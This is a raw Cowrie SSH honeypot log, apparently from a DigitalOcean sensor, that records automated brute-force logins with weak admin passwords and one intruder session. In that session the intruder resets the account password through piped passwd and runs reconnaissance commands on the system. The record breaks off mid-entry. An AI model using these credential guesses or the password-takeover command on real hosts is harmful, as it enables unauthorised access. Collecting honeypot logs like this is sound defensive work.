{"eventid":"cowrie.login.failed","username":"admin","password":"123456qwerty","message":"login attempt [admin/123456qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:45.621654Z","src_ip":"159.203.92.129","session":"32377dbfcdc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:46.577955Z","src_ip":"68.183.236.1","session":"d33abf640fd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:46.626991Z","src_ip":"159.203.92.129","session":"32377dbfcdc2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:46.884072Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:46.887805Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:47.144986Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:47.679831Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"webadmin\\ngCqeHTTIg6AP\\ngCqeHTTIg6AP\"|passwd|bash","message":"CMD: echo -e \"webadmin\\ngCqeHTTIg6AP\\ngCqeHTTIg6AP\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:47.683734Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:47.687859Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:47.691554Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95341eaa94e10c598a71984bc1e0cef65d1e82606047749d2ba4f11d7e55a47e","size":32,"shasum":"95341eaa94e10c598a71984bc1e0cef65d1e82606047749d2ba4f11d7e55a47e","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95341eaa94e10c598a71984bc1e0cef65d1e82606047749d2ba4f11d7e55a47e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:47.949952Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:48.508325Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"webadmin\\ngCqeHTTIg6AP\\ngCqeHTTIg6AP\\n\"|passwd","message":"CMD: echo \"webadmin\\ngCqeHTTIg6AP\\ngCqeHTTIg6AP\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:48.511732Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7911afd26487026d22f12c94a095290ced2e20c8ebaf099b739f42d074ae7574","size":25,"shasum":"7911afd26487026d22f12c94a095290ced2e20c8ebaf099b739f42d074ae7574","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7911afd26487026d22f12c94a095290ced2e20c8ebaf099b739f42d074ae7574 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:48.770555Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:49.362717Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:49.366178Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:49.623735Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:50.176978Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:50.180566Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:50.445169Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:51.007456Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:51.010729Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:51.014024Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:51.273981Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:51.822625Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:51.825717Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:52.081286Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:52.630073Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:52.633641Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:52.891823Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:53.438088Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:53.441173Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:53.699573Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:54.241534Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:54.244818Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:54.501881Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:55.057369Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:55.060728Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:55.317269Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:55.865982Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:55.869333Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:56.126327Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:56.674472Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:56.677696Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:56.934485Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:57.484574Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:57.488640Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:57.746445Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:58.299859Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:58.303713Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:58.561776Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:59.107008Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:59.110514Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:59.369758Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.2","message":"Connection lost after 21.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:06:59.375264Z","src_ip":"68.183.236.1","session":"5d102e2df071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40952,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b047544ef98","protocol":"ssh","message":"New connection: 159.203.92.129:40952 (159.203.135.109:22) [session: 9b047544ef98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:29.301192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:29.314039Z","src_ip":"159.203.92.129","session":"9b047544ef98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:29.317898Z","src_ip":"159.203.92.129","session":"9b047544ef98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345QWERT","message":"login attempt [admin/12345QWERT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:29.387968Z","src_ip":"159.203.92.129","session":"9b047544ef98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:30.394172Z","src_ip":"159.203.92.129","session":"9b047544ef98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":52234,"dst_ip":"10.17.0.5","dst_port":22,"session":"20ceaea13ec3","protocol":"ssh","message":"New connection: 68.183.236.1:52234 (10.17.0.5:22) [session: 20ceaea13ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:32.653303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:07:32.660199Z","src_ip":"68.183.236.1","session":"20ceaea13ec3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-e